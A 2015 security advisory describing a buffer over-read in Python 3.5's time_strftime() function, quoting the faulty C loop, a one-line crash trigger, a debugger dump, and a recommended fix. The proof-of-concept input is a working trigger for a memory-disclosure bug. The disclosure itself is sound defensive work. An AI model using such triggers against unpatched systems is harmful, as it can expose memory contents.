Python 3.5 time_strftime() Buffer Over-Read
Posted on 02 November 2015
Title: Python 3.5 time_strftime() Buffer Over-read Credit: John Leitch (john@autosectools.com), Bryce Darling (darlingbryce@gmail.com) Url1: http://autosectools.com/Page/Python-time_strftime-Buffer-Over-read Url2: http://bugs.python.org/issue24917 Resolution: Fixed Python 3.5 suffers from a vulnerability caused by the behavior of the time_strftime() function. When called, the function loops over the format string provided, using strchr to search for each instance of '%'. After finding a '%', it continues to search two characters ahead, assuming that each instance is the beginning of a well formed format string token. However, if a string ends with '%', this logic will result in a call to strchr that reads off the end of the format string buffer: /* check that the format string contains only valid directives */ for(outbuf = strchr(fmt, '%'); <<<< Assuming fmt ends with a '%', this will return a pointer to the end of the string. outbuf != NULL; outbuf = strchr(outbuf+2, '%')) <<<< Once outbuf is pointing to the end of the string, outbuf+2 skips { past the null terimnator, leading to a buffer over-read. if (outbuf[1]=='#') ++outbuf; /* not documented by python, */ if ((outbuf[1] == 'y') && buf.tm_year < 0) { PyErr_SetString(PyExc_ValueError, "format %y requires year >= 1900 on Windows"); Py_DECREF(format); return NULL; } } In some applications, it may be possible to exploit this behavior to disclose the contents of adjacent memory. The buffer over-read can be observed by running the following script: from time import * strftime("AA%"*0x10000) Which, depending on the arrangement of memory, may produce an exception such as this: 0:000> g (20b8.18d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=ffffffff ebx=52c1a6a0 ecx=00000000 edx=08ef3000 esi=08ec2fe8 edi=08ec2ff8 eip=52d254f3 esp=004cf9d4 ebp=004cfa58 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 python35!strchr+0x33: 52d254f3 f30f6f0a movdqu xmm1,xmmword ptr [edx] ds:002b:08ef3000=???????????????????????????????? 0:000> db edx-0x10 08ef2ff0 41 25 41 41 25 41 41 25-00 d0 d0 d0 d0 d0 d0 d0 A%AA%AA%........ 08ef3000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 08ef3010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 08ef3020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 08ef3030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 08ef3040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 08ef3050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 08ef3060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:000> k5 ChildEBP RetAddr 004cf9d0 52c1a7f6 python35!strchr+0x33 [f:ddvctoolscrtvcruntimesrcstringi386strchr_sse.inc @ 75] 004cfa58 52c832d3 python35!time_strftime+0x156 [c:uildcpythonmodules imemodule.c @ 615] 004cfa74 52ce442f python35!PyCFunction_Call+0x113 [c:uildcpythonobjectsmethodobject.c @ 109] 004cfaa8 52ce18ec python35!call_function+0x2ff [c:uildcpythonpythonceval.c @ 4651] 004cfb20 52ce339f python35!PyEval_EvalFrameEx+0x232c [c:uildcpythonpythonceval.c @ 3184] To fix this issue, it is recommended that time_strftime() be updated to check outputbuf[1] for null in the body of the format string directive validation loop. A proposed patch is attached.